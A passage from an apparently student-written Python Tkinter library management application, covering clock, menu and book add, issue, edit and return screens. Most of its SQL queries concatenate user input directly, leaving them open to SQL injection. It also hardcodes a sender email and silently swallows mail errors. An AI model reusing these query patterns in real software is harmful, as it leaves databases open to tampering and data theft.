self.fm3.place(x=0,y=110)\n\n #------------------------Clock---------------------------\n\n def clock():\n h = str(time.strftime(\"%H\"))\n m = str(time.strftime(\"%M\"))\n s = str(time.strftime(\"%S\"))\n\n if int(h) >=12 and int(m) >=0:\n self.lb7_hr.config(text=\"PM\")\n\n #if int(h) > 12:\n #h = str(int(h) // 12)\n\n self.lb1_hr.config(text=h)\n self.lb3_hr.config(text=m)\n self.lb5_hr.config(text=s)\n\n self.lb1_hr.after(200, clock)\n\n self.lb1_hr = Label(self.fm3, text='12', font=('times new roman', 20, 'bold'), bg='#1f2041', fg='white')\n self.lb1_hr.place(x=560, y=5, width=60, height=30)\n self.lb1_col = Label(self.fm3, text=':', font=('times new roman', 20, 'bold'), bg='#1f2041', fg='white')\n self.lb1_col.place(x=610, y=5, width=20, height=30)\n\n\n self.lb3_hr = Label(self.fm3, text='05', font=('times new roman', 20, 'bold'), bg='#4b3f72', fg='white')\n self.lb3_hr.place(x=630, y=5, width=60, height=30)\n self.lb1_col = Label(self.fm3, text=':', font=('times new roman', 20, 'bold'), bg='#4b3f72', fg='white')\n self.lb1_col.place(x=680, y=5, width=20, height=30)\n\n\n self.lb5_hr = Label(self.fm3, text='37', font=('times new roman', 20, 'bold'), bg='#ffc857', fg='white')\n self.lb5_hr.place(x=700, y=5, width=60, height=30)\n\n\n self.lb7_hr = Label(self.fm3, text='AM', font=('times new roman', 17, 'bold'), bg='#19647e', fg='white')\n self.lb7_hr.place(x=760, y=5, width=60, height=30)\n\n\n clock()\n\n #-------------------------------clock closed------------------------\n\n \n self.canvas8 = Canvas(self.fm3, bg='#fca311', width=400, height=300,highlightthickness=0, relief='ridge',bd=0)\n self.canvas8.place(x=475, y=37)\n self.photo9=PhotoImage(file=\"D:\\\\Python project\\\\Library management System GUI\\\\stock.png\")\n self.canvas8.create_image(0,0,image=self.photo9,anchor=NW)\n\n \n \n\n # #-----------------addbutton-----------------\n\n \n self.bt1=Button(self.fm3,text=' ',command=self.addbook,cursor='hand2',borderwidth = 0,bg='#fca311',activebackground='#fca311',relief='flat')\n self.bt1.place(x=40,y=40)\n self.logo = PhotoImage(file='add.png')\n # self.bt1.config(image=self.logo)\n self.small_logo = self.logo.subsample(3,3)\n self.bt1.config(image=self.small_logo)\n\n\n\n\n #-------------------------Issuebutton--------------\n\n self.bt2=Button(self.fm3,text=' ',command=self.issuebook,cursor='hand2',borderwidth = 0,bg='#fca311',activebackground='#fca311')\n self.bt2.place(x=250,y=40)\n self.log = PhotoImage(file='issue.png')\n # self.bt1.config(image=self.logo)\n self.small_log = self.log.subsample(3,3)\n self.bt2.config(image=self.small_log)\n\n\n #---------------------------Editbutton----------------\n\n\n self.bt3=Button(self.fm3,text=' ',command=self.edit,cursor='hand2',borderwidth = 0,bg='#fca311',activebackground='#fca311')\n self.bt3.place(x=40,y=120)\n self.logb = PhotoImage(file='edit.png')\n # self.bt1.config(image=self.logo)\n self.small_logb = self.logb.subsample(3,3)\n self.bt3.config(image=self.small_logb)\n\n\n\n #-----------------------------Returnbutton----------------\n\n\n self.bt4=Button(self.fm3,text=' ',command=self.return_book,cursor='hand2',borderwidth = 0,bg='#fca311',activebackground='#fca311')\n self.bt4.place(x=250,y=120)\n self.log4 = PhotoImage(file='return.png')\n # self.bt1.config(image=self.logo)\n self.small_log4 = self.log4.subsample(3,3)\n self.bt4.config(image=self.small_log4)\n\n\n\n #----------------------Deletebutton---------------------\n\n\n self.bt5=Button(self.fm3,text=' ',command=self.delete,cursor='hand2',borderwidth = 0,bg='#fca311',activebackground='#fca311')\n self.bt5.place(x=40,y=200)\n self.log5 = PhotoImage(file='delete.png')\n # self.bt1.config(image=self.logo)\n self.small_log5 = self.log5.subsample(3,3)\n self.bt5.config(image=self.small_log5)\n\n\n #--------------------Show Button-----------------------------\n\n\n self.bt6=Button(self.fm3,text=' ',command=self.show,cursor='hand2',borderwidth = 0,bg='#fca311',activebackground='#fca311')\n self.bt6.place(x=250,y=200)\n self.log6 = PhotoImage(file='show.png')\n # self.bt1.config(image=self.logo)\n self.small_log6 = self.log6.subsample(3,3)\n self.bt6.config(image=self.small_log6)\n\n\n #-------------------------Seearch Button------------------\n\n self.bt7=Button(self.fm3,text=' ',command=self.search,cursor='hand2',borderwidth = 0,bg='#fca311',activebackground='#fca311')\n self.bt7.place(x=150,y=280)\n self.log7 = PhotoImage(file='search.png')\n # self.bt1.config(image=self.logo)\n self.small_log7 = self.log7.subsample(3,3)\n self.bt7.config(image=self.small_log7)\n \n #---------------------Exit Button--------------------------------\n # moved to top as logout button- chwn in ordr-ref\n\n\n\n\n\n def mainclear(self):\n self.e1.delete(0,END)\n self.e2.delete(0,END)\n\n #-----------------------button add book----------------------\n\n def addbook(self):\n class temp(maincode):\n\n def book(self):\n\n self.fm=Frame(root,bg='#5F84D3',width=900,height=370)\n self.fm.place(x=0,y=110)\n self.fm1=Frame(self.fm,bg='#fff',width=500,height=340,bd=5,relief='flat',highlightthickness=1)\n self.fm1.place(x=200,y=15)\n\n #---------------------Back button----------------------------------\n self.backbt = Button(self.fm, width=60, bg='#5F84D3',activebackground='#5F84D3', bd=0, relief='flat',command=self.cur) \n self.backbt.place(x=0, y=0)\n self.log = PhotoImage(file='back.png')\n self.backbt.config(image=self.log, compound=LEFT)\n self.small_log = self.log.subsample(1, 1)\n self.backbt.config(image=self.small_log)\n\n #---------------------------Label---------------------------------\n self.f=Frame(self.fm1,bg='#0f624c',width=490,height=35)\n self.f.place(x=0,y=0)\n self.ll=Label(self.f,text='ADD BOOKS',fg='#fff',bg='#0f624c',font=('Arial',12,'bold'))\n self.ll.place(x=200,y=6)\n self.lb=Label(self.fm1,text='ID',fg='black',bg='#fff',font=('Arial',10,'bold'))\n self.lb.place(x=70,y=90)\n self.lb2 = Label(self.fm1, text='Title', fg='black', bg='#fff', font=('Arial', 10, 'bold'))\n self.lb2.place(x=70, y=130)\n self.lb3 = Label(self.fm1, text='Author', fg='black', bg='#fff', font=('Arial', 10, 'bold'))\n self.lb3.place(x=70, y=170)\n self.lb4= Label(self.fm1, text='Edition', fg='black', bg='#fff', font=('Arial', 10, 'bold'))\n self.lb4.place(x=70, y=210)\n self.lb5 = Label(self.fm1, text='Price', fg='black', bg='#fff', font=('Arial', 10, 'bold'))\n self.lb5.place(x=70, y=250)\n\n #-------------------------------Entry-------------------------------------\n\n self.ee1=Entry(self.fm1,width=25,bd=4,relief='groove',font=('arial',12,'bold'))\n self.ee1.place(x=180,y=88)\n self.ee2=Entry(self.fm1,width=25,bd=4,relief='groove',font=('arial',12,'bold'))\n self.ee2.place(x=180,y=130)\n self.ee3=Entry(self.fm1,width=25,bd=4,relief='groove',font=('arial',12,'bold'))\n self.ee3.place(x=180,y=170)\n self.ee4=Entry(self.fm1,width=25,bd=4,relief='groove',font=('arial',12,'bold'))\n self.ee4.place(x=180,y=210)\n self.ee5=Entry(self.fm1,width=25,bd=4,relief='groove',font=('arial',12,'bold'))\n self.ee5.place(x=180,y=250)\n\n self.bt=Button(self.fm1,text='Submit',width=41,bg='red',fg='#fff',font=('Arial',10,'bold'),bd=5,\n relief='flat',command=self.submit1)\n self.bt.place(x=70,y=290)\n\n\n\n\n\n def submit1(self):\n\n self.id=self.ee1.get()\n self.ttl=self.ee2.get()\n self.aut=self.ee3.get()\n self.edi=self.ee4.get()\n self.pri=self.ee5.get()\n cursor=dd.cursor()\n cursor.execute(\"INSERT INTO stbook(Book_ID,Title,Author,Edition,Price) values(?,?,?,?,?)\",(self.id,\n self.ttl,self.aut,self.edi,self.pri))\n dd.commit()\n self.clear()\n\n def clear(self):\n self.ee1.delete(0,END)\n self.ee2.delete(0,END)\n self.ee3.delete(0,END)\n self.ee4.delete(0,END)\n self.ee5.delete(0,END)\n\n obj=temp()\n obj.book()\n\n\n #-----------xxxxxxxxxxxx--------close add book---xxxxxxxxxxxxxxxxxxxx---------------\n\n #--------------------------------Issue Books---------------------------------\n def issuebook(self):\n class test(maincode):\n max=0\n n = 1\n def issue(self):\n self.f = Frame(root, bg='#5F84D3', width=900, height=370)\n self.f.place(x=0, y=110)\n\n self.fmi=Canvas(self.f,bg='#5F84D3',width=900,height=390,bd=0,relief='flat')\n self.fmi.place(x=0,y=0)\n #self.img=PhotoImage(file='ig.png')\n #self.fmi.create_image(0,0,image=self.img,anchor=NW)\n\n self.fc=Frame(self.fmi,bg='#fff',width=330,height=230,bd=4,relief='flat')\n self.fc.place(x=70,y=20)\n\n self.ffb=Frame(self.fc,bg='#0f624c',bd=2,relief='flat',width=330,height=35)\n self.ffb.place(x=0,y=0)\n\n self.lc=Label(self.ffb,text='STUDENT INFORMATION',bg='#0f624c',fg='#fff',font=('Arial',12,'bold'))\n self.lc.place(x=55,y=5)\n\n self.lb=Label(self.fc,text='Roll-No',bg='#fff',fg='black',font=('Arial',10,'bold'))\n self.lb.place(x=15,y=60)\n self.ob=Label(self.fc,text='or',bg='#fff',fg='black',font=('cursive',12,'bold'))\n self.ob.place(x=180,y=90)\n self.em = Entry(self.fc, width=30, bd=5, relief='ridge', font=('Arial', 8, 'bold'))\n self.em.place(x=105, y=60)\n self.lb = Label(self.fc, text='ERP-ID', bg='#fff', fg='black', font=('Arial', 10, 'bold'))\n self.lb.place(x=15, y=120)\n self.em2 = Entry(self.fc, width=30, bd=5, relief='ridge', font=('Arial', 8, 'bold'))\n self.em2.place(x=105, y=120)\n self.bt = Button(self.fc, text='Submit', width=14, bg='red', fg='#fff', font=('Arial', 10, 'bold'),\n bd=5,relief='flat',command=self.check)\n self.bt.place(x=15,y=180)\n\n self.bt3=Button(self.fc,text='Clear',width=14,bg='blue',fg='#fff',font=('arial',10,'bold'),bd=5,\n relief='flat',command=self.clr)\n self.bt3.place(x=165,y=180)\n\n self.backbt = Button(self.fmi, width=60, bg='#5F84D3',activebackground='#5F84D3', bd=0, relief='flat',command=self.cur) \n self.backbt.place(x=5, y=5)\n self.log = PhotoImage(file='back.png')\n self.backbt.config(image=self.log, compound=LEFT)\n self.small_log = self.log.subsample(1, 1)\n self.backbt.config(image=self.small_log)\n\n\n def check(self):\n self.ai=self.em.get()\n self.b=self.em2.get()\n cursor=dc.cursor()\n cursor.execute(\"SELECT * FROM student WHERE Roll_no='\"+self.ai+\"' or ERP_ID='\"+self.b+\"'\")\n self.var=cursor.fetchone()\n if self.var!=None:\n self.lb1=Label(self.fmi,text='Name :',fg='black',font=('Arial',10,'bold'),bg='#5F84D3')\n self.lb1.place(x=60,y=255)\n self.lb2 = Label(self.fmi, text=self.var[1], fg='black', font=('Arial', 10, 'bold'),bg='#5F84D3')\n self.lb2.place(x=130, y=255)\n self.lb3 = Label(self.fmi, text='Course :',fg='black', font=('Arial', 10, 'bold'),bg='#5F84D3')\n self.lb3.place(x=60, y=275)\n self.lb4 = Label(self.fmi, text=self.var[2],fg='black', font=('Arial', 10, 'bold'),bg='#5F84D3')\n self.lb4.place(x=130, y=275)\n self.lb5 = Label(self.fmi, text='Year :', fg='black', font=('Arial', 10, 'bold'),bg='#5F84D3')\n self.lb5.place(x=60, y=295)\n self.lb6 = Label(self.fmi, text=self.var[3], fg='black', font=('Arial', 10, 'bold'),bg='#5F84D3')\n self.lb6.place(x=130, y=295)\n self.lb7 = Label(self.fmi, text='Contact :', fg='black', font=('Arial', 10, 'bold'),bg='#5F84D3')\n self.lb7.place(x=60, y=315)\n self.lb8 = Label(self.fmi, text=self.var[6],fg='black', font=('Arial', 10, 'bold'),bg='#5F84D3')\n self.lb8.place(x=130, y=315)\n self.lb9 = Label(self.fmi, text='College :', fg='black', font=('Arial', 10, 'bold'),bg='#5F84D3')\n self.lb9.place(x=60, y=335)\n self.lb10 = Label(self.fmi, text=self.var[7],fg='black', font=('Arial', 10, 'bold'),bg='#5F84D3')\n self.lb10.place(x=130, y=335)\n\n\n self.fr=Frame(self.fmi,bg='#fff',bd=5,relief='flat',width=450,height=320)\n self.fr.place(x=420,y=20)\n self.ff=Frame(self.fr,bg='#0f624c',bd=2,relief='flat',width=450,height=35)\n self.ff.place(x=0,y=0)\n self.lb=Label(self.ff,text='ISSUE BOOK',bg='#0f624c',fg='#fff',font=('Arial',12,'bold'))\n self.lb.place(x=165,y=5)\n self.tt=Label(self.fr,text='Book-ID',bg='#fff',fg='black',font=('arial',10,'bold'))\n self.tt.place(x=50,y=60)\n self.e1 = Entry(self.fr, width=30, bd=5, relief='ridge', font=('Arial', 8, 'bold'))\n self.e1.place(x=160, y=60)\n self.ttp = Label(self.fr, text='Title', bg='#fff', fg='black', font=('arial', 10, 'bold'))\n self.ttp.place(x=50, y=110)\n self.e2 = Entry(self.fr, width=30, bd=5, relief='ridge', font=('Arial', 8, 'bold'))\n self.e2.place(x=160, y=110)\n self.bt1 = Button(self.fr, text='Submit', width=35, bg='#0f624c', fg='#fff', font=('Arial', 10,\n 'bold'),bd=5,relief='flat',command=self.data)\n self.bt1.place(x=60, y=160)\n\n '''self.bt1 = Button(self.fr, text='Clear', width=13, bg='blue', fg='#fff', font=('Arial', 10,\n 'bold'), bd=5,\n relief='flat', command=self.clr1)\n self.bt1.place(x=215, y=160)'''\n else:\n messagebox.showwarning('Warning','These Student are not Registered !')\n\n\n def clr(self):\n self.em.delete(0, END)\n self.em2.delete(0, END)\n '''def clr1(self):\n self.e1.delete(0,END)\n self.e2.delete(0,END)\n self.boot.destroy()\n self.data()'''\n\n\n def data(self):\n self.vva=self.e1.get()\n self.vvb=self.e2.get()\n cursor=dd.cursor()\n cursor.execute(\"SELECT * FROM stbook WHERE Book_ID='\"+self.vva+\"' and Title='\"+self.vvb+\"'\")\n\n dd.commit()\n self.value=cursor.fetchone()\n if self.value!=None:\n if self.max==0:\n self.boot=Tk()\n self.boot.title(\"Issue Books\")\n self.boot.iconbitmap(\"aa.ico\")\n self.boot.configure(bg='#fff')\n self.boot.geometry(\"300x680\")\n self.boot.resizable(0,0)\n\n self.lb=Label(self.boot,text='Title :',bg='#fff',fg='black',font=('Arial',10,'bold'))\n self.lb.place(x=30,y=30)\n self.lbn = Label(self.boot, text=self.value[1], bg='#fff', fg='black', font=('Arial', 10, 'bold'))\n self.lbn.place(x=120,y=30)\n self.lb = Label(self.boot, text='Author :', bg='#fff', fg='black', font=('Arial', 10,\n 'bold'))\n self.lb.place(x=30, y=60)\n self.lbn = Label(self.boot, text=self.value[2], bg='#fff', fg='black', font=('Arial', 10,\n 'bold'))\n self.lbn.place(x=120, y=60)\n self.lb = Label(self.boot, text='Edition :', bg='#fff', fg='black', font=('Arial', 10,\n 'bold'))\n self.lb.place(x=30, y=90)\n self.lbn = Label(self.boot, text=self.value[3], bg='#fff', fg='black', font=('Arial', 10,\n 'bold'))\n self.lbn.place(x=120, y=90)\n self.plan = Label(self.boot, text='---------------------------------------------------',\n bg='#fff')\n self.plan.place(x=15, y=120)\n\n self.lb1_a=Label(self.boot,text='Name :',fg='black',font=('Arial',10,'bold'), bg='#fff')\n self.lb1_a.place(x=30,y=140)\n self.lb2_a = Label(self.boot, text=self.var[1], fg='black', font=('Arial', 10, 'bold'), bg='#fff')\n self.lb2_a.place(x=120, y=140)\n self.lb3_a = Label(self.boot, text='Course :',fg='black', font=('Arial', 10, 'bold'), bg='#fff')\n self.lb3_a.place(x=30, y=170)\n self.lb4_a = Label(self.boot, text=self.var[2],fg='black', font=('Arial', 10, 'bold'), bg='#fff')\n self.lb4_a.place(x=120, y=170)\n self.lb5_a = Label(self.boot, text='Year :', fg='black', font=('Arial', 10, 'bold'), bg='#fff')\n self.lb5_a.place(x=30, y=200)\n self.lb6_a = Label(self.boot, text=self.var[3], fg='black', font=('Arial', 10, 'bold'), bg='#fff')\n self.lb6_a.place(x=120, y=200)\n \n\n\n self.planx = Label(self.boot, text='---------------------------------------------------',\n bg='#fff')\n\n self.planx.place(x=15, y=240)\n \n if self.max==1:\n\n self.lbt = Label(self.boot, text='Title', bg='#fff', fg='black', font=('Arial', 10,\n 'bold'))\n self.lbt.place(x=30, y=150)\n self.lbnt = Label(self.boot, text=self.value[1], bg='#fff', fg='black', font=('Arial',\n 10, 'bold'))\n self.lbnt.place(x=120, y=150)\n self.lbtd = Label(self.boot, text='Author', bg='#fff', fg='black', font=('Arial', 10,\n 'bold'))\n self.lbtd.place(x=30, y=180)\n self.lbn = Label(self.boot, text=self.value[2], bg='#fff', fg='black', font=('Arial', 10,\n 'bold'))\n self.lbn.place(x=120, y=180)\n self.lbc = Label(self.boot, text='Edition', bg='#fff', fg='black', font=('Arial', 10,\n 'bold'))\n self.lbc.place(x=30, y=210)\n self.lbn = Label(self.boot, text=self.value[3], bg='#fff', fg='black', font=('Arial', 10,\n 'bold'))\n self.lbn.place(x=120, y=210)\n\n if self.max==2:\n\n self.lbt = Label(self.boot, text='Title', bg='#fff', fg='black', font=('Arial', 10,\n 'bold'))\n self.lbt.place(x=30, y=270)\n self.lbnt = Label(self.boot, text=self.value[1], bg='#fff', fg='black', font=('Arial',\n 10, 'bold'))\n self.lbnt.place(x=120, y=270)\n self.lbtd = Label(self.boot, text='Author', bg='#fff', fg='black', font=('Arial', 10,\n 'bold'))\n self.lbtd.place(x=30, y=300)\n self.lbn = Label(self.boot, text=self.value[2], bg='#fff', fg='black', font=('Arial', 10,\n 'bold'))\n self.lbn.place(x=120, y=300)\n self.lbc = Label(self.boot, text='Edition', bg='#fff', fg='black', font=('Arial', 10,\n 'bold'))\n self.lbc.place(x=30, y=330)\n self.lbn = Label(self.boot, text=self.value[3], bg='#fff', fg='black', font=('Arial', 10,\n 'bold'))\n self.lbn.place(x=120, y=330)\n\n\n if self.max>=3:\n messagebox.showerror('Library System','SIR, MAXIMUM 2 Books ALLOWED per STUDENT')\n\n\n self.label = Label(self.fr, text='ADD MORE BOOKS ', bg='#fff', fg='black', font=('arial', 10,\n 'bold'))\n self.label.place(x=60, y=220)\n\n\n #---------------------------------Radio Button-------------------------\n\n self.it1=Radiobutton(self.fr,text='YES',bg='#fff',variable='radio',value=1,command=self.yes)\n self.it1.place(x=210,y=220)\n\n self.it2 = Radiobutton(self.fr, text='NO',bg='#fff', variable='radio', value=2,command=self.no)\n self.it2.place(x=280, y=220)\n\n\n #------------------------ISSUED button-----------------------------\n self.button1 = Button(self.boot, text='Issue', bg='red', fg='#fff', width=30, height=0,\n font=('Arial', 8, 'bold'), command=self.issued)\n self.button1.place(x=30, y=610)\n\n # self.btn = Button(self.boot, text='Send mail', bg='blue', fg='#fff', width=30, height=0,\n # font=('Arial', 8, 'bold'), command=self.mail)\n # self.btn.place(x=30, y=650)\n\n #-----------------------date module uses-------------------------\n\n\n self.x = date.today()\n\n\n self.cal = Calendar(self.boot, selectmode=\"day\", bg='black',)#year=2022,month=01,day=18\n self.cal.place(x=20,y=380)\n\n\n btn1 = Button(self.boot, text=\"Confirm Date\",command=self.get_data,bg='#ff0076',\n font=('arial', 10, 'bold'),fg='#fff', relief='flat')\n btn1.place(x=90,y=575)\n\n\n self.boot.mainloop()\n\n else:\n messagebox.showwarning('Warning','YOUR DATA IS NOT FOUND !')\n\n\n def get_data(self):\n self.datecon=self.cal.selection_get()\n\n\n def yes(self):\n\n self.n=self.n+1\n self.bt1 = Button(self.fr, text='Submit', width=35, bg='#0f624c', fg='#fff', font=('Arial', 10,\n 'bold'), bd=5,relief='flat',command=self.data, state=ACTIVE)\n self.bt1.place(x=60, y=160)\n\n self.e1.delete(0, END)\n self.e2.delete(0, END)\n self.max=self.max+1\n\n\n def no(self):\n\n self.bt1 = Button(self.fr, text='Submit', width=35, bg='#0f624c', fg='#fff', font=('Arial', 10,\n 'bold'), bd=5,relief='flat',state=DISABLED)\n self.bt1.place(x=60, y=160)\n\n\n def issued(self):\n\n self.ac=self.e1.get()\n cursor=dd.cursor()\n cursor.execute(\"UPDATE stbook SET Issue='Issued', ID='\"+self.b+\"' WHERE \"\n \"Book_ID='\"+self.ac+\"'\")\n dd.commit()\n\n if self.n<=3:\n book=dc.cursor()\n book.execute(\"UPDATE student SET No_book='\"+str(self.n)+\"' WHERE Roll_no='\"+self.ai+\"' or \"\n \"ERP_ID='\"+self.b+\"' \")\n dc.commit()\n\n comm=dc.cursor()\n comm.execute(\"UPDATE student SET From_date='\"+str(self.x)+\"', To_date='\"+str(self.datecon)+\"' \"\n \"WHERE Roll_no='\"+self.ai+\"' or ERP_ID='\"+self.b+\"'\")\n dc.commit()\n\n messagebox.showinfo('Library System', 'YOUR BOOK ISSUED')\n def mail(self):\n\n self.baby=self.em2.get()\n cursor=dc.cursor()\n cursor.execute(\"SELECT * FROM student WHERE ERP_ID='\"+self.baby+\"'\")\n self.var=cursor.fetchone()\n sender = \"aps08072001@gmail.com\"\n reciever =self.var[5]\n with open(\"pass.txt\",'r') as file:\n password=file.read()\n message = \"\"\"FROM: LIBRARY DEPARTMENT\n TO : Library Issued Books Department\n Subject: Hello Students! Your book has benn Issued\"\"\"\n try:\n server = smtplib.SMTP_SSL(\"smtp.gmail.com\", 465)\n server.login(sender, password)\n server.sendmail(sender, reciever, message)\n print(\"ok\")\n messagebox.showinfo(\"Library System\",\"Send mail Successfully !\")\n except:\n pass\n obk=test()\n obk.issue()\n\n#-----------------------------------Edit books----------------------------------\n\n def edit(self):\n class editing(maincode):\n def edbooks(self):\n\n\n self.ffm=Frame(root,bg='#5F84D3',width=900,height=370)\n self.ffm.place(x=0,y=110)\n self.fm1 = Frame(self.ffm, bg='#fff', width=500, height=200, bd=5, relief='flat')\n self.fm1.place(x=200, y=15)\n self.ed = Frame(self.fm1, bg='#0f624c', bd=0, relief='flat', width=490, height=35)\n self.ed.place(x=0,y=0)\n self.lab = Label(self.ed, text='EDIT BOOKS DETAILS', bg='#0f624c', fg='#fff', font=('Arial', 12,\n 'bold'))\n self.lab.place(x=165, y=5)\n self.label3=Label(self.fm1,text='Book ID',bg='#fff',fg='black',font=('arial',10,'bold'))\n self.label3.place(x=85,y=65)\n self.entry=Entry(self.fm1,width=30,bd=4,relief='groove',font=('arial',8,'bold'))\n self.entry.place(x=188,y=65)\n self.button7 = Button(self.fm1, text='Search', bg='#0f624c', fg='#fff', width=24, height=0,\n font=('Arial', 10, 'bold'),command=self.search)\n self.button7.place(x=140,y=120)\n\n self.backbt = Button(self.ffm, width=60,bg='#5F84D3',activebackground='#5F84D3',\n bd=0, relief='flat', command=self.cur)\n self.backbt.place(x=0, y=0)\n self.log = PhotoImage(file='back.png')\n self.backbt.config(image=self.log, compound=LEFT)\n self.small_log = self.log.subsample(1, 1)\n self.backbt.config(image=self.small_log)\n\n #----------------------Database----------------------------------\n\n\n def search(self):\n self.datas=self.entry.get()\n cursor=dd.cursor()\n cursor.execute(\"SELECT * FROM stbook WHERE Book_ID='\"+self.datas+\"'\" )\n dd.commit()\n self.val=cursor.fetchone()\n if self.val!=None:\n\n self.edcat=Tk()\n self.edcat.title(\"Library System\")\n self.edcat.geometry(\"300x320+590+320\")\n self.edcat.configure(bg='#fff')\n self.edcat.iconbitmap(\"aa.ico\")\n\n\n self.fc=Frame(self.edcat,bg='#0f624c',width=300,height=30)\n self.fc.place(x=0,y=0)\n self.lab=Label(self.fc,bg='#0f624c',fg='#fff',text='EDIT BOOKS',font=('arial',10,'bold'))\n self.lab.place(x=112,y=5)\n self.labid = Label(self.edcat, bg='#fff', fg='black', text='Book ID', font=('arial', 10,\n 'bold'))\n self.labid.place(x=30, y=45)\n self.labti = Label(self.edcat, bg='#fff', fg='black', text='Title', font=('arial', 10,\n 'bold'))\n self.labti.place(x=30, y=90)\n self.labaut = Label(self.edcat, bg='#fff', fg='black', text='Author', font=('arial', 10,\n 'bold'))\n self.labaut.place(x=30, y=135)\n self.labed = Label(self.edcat, bg='#fff', fg='black', text='Edition', font=('arial', 10,\n 'bold'))\n self.labed.place(x=30, y=180)\n self.labpr = Label(self.edcat, bg='#fff', fg='black', text='Price', font=('arial', 10,\n 'bold'))\n self.labpr.place(x=30, y=225)\n\n #------------------------------Entry------------------------\n\n\n self.en1=Entry(self.edcat,width=25,bd=4,relief='groove',font=('arial',8,'bold'))\n self.en1.place(x=100,y=45)\n self.en2 = Entry(self.edcat, width=25, bd=4, relief='groove',font=('arial',8,'bold'))\n self.en2.place(x=100, y=90)\n self.en3 = Entry(self.edcat, width=25, bd=4, relief='groove',font=('arial',8,'bold'))\n self.en3.place(x=100, y=135)\n self.en4 = Entry(self.edcat, width=25, bd=4, relief='groove',font=('arial',8,'bold'))\n self.en4.place(x=100, y=180)\n self.en5 = Entry(self.edcat, width=25, bd=4, relief='groove',font=('arial',8,'bold'))\n self.en5.place(x=100, y=225)\n self.butt = Button(self.edcat, text='Submit', bg='#0f624c', fg='#fff', width=20, height=0,\n font=('Arial', 10, 'bold'),command=self.savedit)\n self.butt.place(x=67, y=270)\n\n # -------------------insert value within edcat windows--------------------\n\n self.en1.insert(0, self.val[0])\n self.en2.insert(0, self.val[1])\n self.en3.insert(0, self.val[2])\n self.en4.insert(0, self.val[3])\n self.en5.insert(0, self.val[4])\n\n self.edcat.mainloop()\n\n else:\n messagebox.showerror('Library System','PLEASE! CORRECT BOOK ID')\n\n #-----------------BOKK is Updated-----------------\n\n\n def savedit(self):\n self.id = self.en1.get()\n self.ti = self.en2.get()\n self.au = self.en3.get()\n self.ed = self.en4.get()\n self.pi = self.en5.get()\n\n cursor= dd.cursor()\n cursor.execute(\"UPDATE stbook SET Book_ID='\"+self.id+\"', Title='\"+self.ti+\"',Author='\"+self.au+\"',Edition='\"+self.ed+\"',Price='\"+self.pi+\"' WHERE Book_ID='\"+self.datas+\"'\")\n dd.commit()\n messagebox.showinfo('Library System','YOUR DATA IS UPDATED!')\n\n obj=editing()\n obj.edbooks()\n\n # -----------------------------------------------------------------------------------------------------\n\n\n # ------------------------------Return Book--------------------------------------------------\n def return_book(self):\n class retu(maincode):\n\n def __init__(self):\n self.frame=Frame(root,bd=0,relief='flat',bg='#5F84D3',width=900,height=370)\n self.frame.place(x=0,y=110)\n self.f1 = Frame(self.frame, bg='#fff', width=500, height=200, bd=5, relief='flat')\n self.f1.place(x=200, y=15)\n self.ed = Frame(self.f1, bg='#0f624c', bd=0, relief='flat', width=490, height=35)\n self.ed.place(x=0, y=0)\n self.lac = Label(self.ed, text='RETURN BOOKS ', bg='#0f624c', fg='#fff', font=('Arial', 12, 'bold'))\n self.lac.place(x=175, y=5)\n self.label8 = Label(self.f1, text='ERP ID', bg='#fff', fg='black', font=('arial', 10, 'bold'))\n self.label8.place(x=85, y=65)\n self.entry4 = Entry(self.f1, width=30, bd=4, relief='groove', font=('arial', 8, 'bold'))\n self.entry4.place(x=188, y=65)\n self.button9 = Button(self.f1, text='Return', bg='#0f624c', fg='#fff', width=24, height=0,\n font=('Arial', 10, 'bold'),command=self.retbook)\n self.button9.place(x=140, y=120)\n\n self.backbt = Button(self.frame, width=60, bg='#5F84D3',activebackground='#5F84D3',\n bd=0, relief='flat', command=self.cur)\n self.backbt.place(x=0, y=0)\n self.log = PhotoImage(file='back.png')\n self.backbt.config(image=self.log, compound=LEFT)\n self.small_log = self.log.subsample(1, 1)\n self.backbt.config(image=self.small_log)\n\n def retbook(self):\n self.charge=0\n self.entry=self.entry4.get()\n cursor=dc.cursor()\n cursor.execute(\"SELECT * FROM student WHERE ERP_id='\"+self.entry+\"'\")\n dc.commit()\n self.data=cursor.fetchone()\n if self.data!=None:\n self.get_date = date.today()\n cursor = dc.cursor()\n cursor.execute(\"UPDATE student SET submit_date='\" + str(\n self.get_date) + \"' WHERE ERP_ID='\" + self.entry + \"'\")\n dc.commit()\n\n cursor=dd.cursor()\n cursor.execute(\"UPDATE stbook SET Issue='', ID='' WHERE ID='\"+self.entry+\"'\")\n dd.commit()\n\n from datetime import datetime\n\n\n self.tom=Tk()\n self.tom.geometry(\"300x250+590+348\")\n self.tom.iconbitmap(\"aa.ico\")\n self.tom.title(\"Library System\")\n self.tom.resizable(0,0)\n self.tom.configure(bg=\"black\")\n\n cursor=dc.cursor()\n cursor.execute(\"SELECT * FROM student WHERE ERP_ID='\"+self.entry+\"'\")\n dc.commit()\n self.var=cursor.fetchone()\n if self.var!=None:\n\n\n #-----------------between two date calculate days---------------------\n\n self.a=self.var[9]\n self.b=self.var[10]\n formatStr='%Y-%m-%d'\n delta1=datetime.strptime(self.a,formatStr)\n delta2=datetime.strptime(self.b, formatStr)\n delta=delta2-delta1\n chm=delta.days\n #print(chm)\n\n #------------------calculate fine charge------------------\n self.lb=Label(self.tom,text=\"Fine Charge\",bg=\"black\",fg=\"Blue\",font=('arial',17,'bold'))\n self.lb.place(x=75,y=60)\n\n\n if chm<=0:\n self.lc1 = Label(self.tom, text=\"0 Rs.\", bg=\"black\", fg=\"#fff\", font=('arial', 12,\n 'bold'))\n self.lc1.place(x=120,y=120)\n\n else:\n\n self.charge=(5*chm)*self.var[12]\n\n #print(self.charge)\n\n self.lc2 = Label(self.tom, text=self.charge, bg=\"black\", fg=\"#fff\", font=('arial',12,\n 'bold'))\n self.lc2.place(x=110, y=120)\n self.lc3 = Label(self.tom, text='Rs.', bg=\"black\", fg=\"#fff\",\n font=('arial', 12, 'bold'))\n self.lc3.place(x=130, y=120)\n\n cursor1 = dc.cursor()\n cursor1.execute(\"UPDATE student SET From_date='',To_date='',submit_date='',No_book='',\"\n \"Charge='\"+str(self.charge)+\"' WHERE ERP_ID='\"+self.entry+\"'\")\n dc.commit()\n\n\n self.tom.mainloop()\n\n\n\n else:\n messagebox.showwarning(\"Library System\",\"YOUR ERP_ID IN NOT FOUND !\")\n\n\n object=retu()\n\n #-----------------------------------------------------------------------------------------------\n\n\n #-------------------------------------Delete Books---------------------------------------------\n\n def delete(self):\n class dele(maincode):\n def deleteee(self):\n self.ff = Frame(root, bg='#5F84D3', width=900, height=370)\n 